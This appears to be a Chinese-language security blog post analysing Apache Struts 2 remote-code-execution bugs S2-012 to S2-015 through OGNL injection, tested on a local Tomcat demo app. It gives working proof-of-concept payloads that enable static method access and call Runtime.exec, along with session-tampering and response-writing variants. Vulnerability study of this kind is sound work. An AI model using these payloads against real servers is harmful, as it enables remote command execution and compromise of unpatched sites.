版本下载
最近struts 2爆了一些很厉害的漏洞,于是乎就趋之若鹜的来分析一下。
首先因为是struts 2的漏洞,首先需要struts 2的各个版本来分析一下,这里有各种版本的下载,当然GitHub上面也会有
http://people.apache.org/builds/struts/
Struts结构
把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
关于action的定义是在struts.xml中,其中<default-action-ref>是所有action都捕获不到时的选项。
<result type="redirectAction">的作用是捕获到该action重定向到其他页面。
最后include了另外一个XML
<package name="default" namespace="/" extends="struts-default">
<default-action-ref name="index" />
<global-results>
<result name="error">/error.jsp</result>
</global-results>
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="index">
<result type="redirectAction">
<param name="actionName">HelloWorld</param>
<param name="namespace">/example</param>
</result>
</action>
</package>
<include file="example.xml"/>
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。
<package name="example" namespace="/example" extends="default">
<action name="HelloWorld" class="example.HelloWorld">
<result>/example/HelloWorld.jsp</result>
</action>
<action name="Login_*" method="{1}" class="example.Login">
<result name="input">/example/Login.jsp</result>
<result type="redirectAction">Menu</result>
</action>
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
<!-- Add actions here -->
</package>
OGNL语法
struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面
http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
http://blog.csdn.net/songylwq/article/details/7568859
http://developer.51cto.com/art/201203/322509.htm
Struts近期漏洞
漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
http://struts.apache.org/development/2.x/docs/security-bulletins.html
S2-015
官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found
详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
https://communities.coverity.com/blogs/security/2013/05/29/struts2-remote-code-execution-via-ognl-injection
http://struts.apache.org/development/2.x/docs/s2-015.html
S2-014
官方描述 A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
<s:url id="url" action="HelloWorld" includeParams="all">
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
<li>
<s:url id="url" action="HelloWorld" includeParams="all">
<s:param name="request_locale">en</s:param>
</s:url>
<s:a href="%{url}">English</s:a>
</li>
POC
执行代码
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
http://localhost:8080/struts2-blank/example/HelloWorld.action?aaa=1${%23session[%22hacked%22]='true'}
不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7
S2-013
官方描述
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
触发条件
这个洞和S2-014原理相同,因为官方没修不好而报了两次。
POC
这个可以成功执行
http://localhost:8088/blank2.3.1/example/HelloWorld.action?fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的
http://localhost:8088/blank2.3.1/example/HelloWorld.action
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
S2-012
官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
<action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save">
<result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
POC
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
S2-011
官方描述,DOS和我关系不大Long request parameter names might significantly promote the effectiveness of DOS attacks
S2-010
官方描述这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes